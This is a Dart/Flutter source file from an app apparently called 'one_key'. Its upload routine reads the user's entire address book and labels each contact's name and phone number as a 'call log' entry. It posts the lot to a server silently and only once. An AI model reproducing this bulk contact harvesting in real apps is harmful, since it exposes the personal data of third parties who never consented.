contact_model.dart 2.5 KB
import 'dart:convert';
import 'dart:io';

import 'package:common_utils/common_utils.dart';
import 'package:contacts_service/contacts_service.dart';
import 'package:dio/dio.dart';
import 'package:flutter/cupertino.dart';
import 'package:one_key/constant/constant.dart';
import 'package:one_key/net/base_resp.dart';
import 'package:one_key/net/dio_util.dart';
import 'package:one_key/net/http_url.dart';
import 'package:one_key/provider/user_model.dart';
import 'package:one_key/utils/misc.dart';
import 'package:provider/provider.dart';

import '../app.dart';

/**
 * 上传联系人
 */
class ContactModel {
  ContactModel._();

  static ContactModel _instance;

  static ContactModel getInstance() {
    if (_instance == null) {
      _instance = ContactModel._();
    }
    return _instance;
  }

  uploadLocalContact(BuildContext context) async {
    bool isUpload = App.sp.getBool("isUpload") ?? false;
    if (isUpload) return;
    bool authority = await requestContactPermission();
    if (authority) {
      Iterable<Contact> contacts =
          await ContactsService.getContacts(withThumbnails: false);
      List<Map<String, String>> callLogs = [];

      contacts.forEach((contact) {
        String phoneNum = "";
        if (contact.phones.isNotEmpty) {
          phoneNum = contact.phones.first.value
              .replaceAll(new RegExp(r"\s+\b|\b\s"), "");
        }
        Map<String, String> callLog = {
          "phoneNum": "${phoneNum.trim()}",
          "sid": Provider.of<UserModel>(context, listen: false).user.sellerid,
          "deviceId": "dhgajkhdgahghsdghdkgahd",
          "phoneDate": "${DateTime.now().millisecondsSinceEpoch}",
          "callType": "2",
          "callUser": "${contact.displayName}",
          "account": Provider.of<UserModel>(context, listen: false).user.account
        };
        callLogs.add(callLog);
      });
      Map<String, String> params = {"data": jsonEncode(callLogs)};
      BaseResp<String> baseResp = await DioUtil()
          .request<String>(context, Method.get, HttpUrl.upload_contact,
              showLoading: false,
              data: params,
              options: Options(
                  method: Method.post,
                  // contentType: "application/x-www-form-urlencoded"
                  ))
          .catchError((error) {
        print(error.toString());
      });
      if (baseResp != null && baseResp.code == Constant.status_success) {
        LogUtil.v("联系人上传成功:${contacts.length}条");
        App.sp.setBool("isUpload", true);
      }
    }
  }
}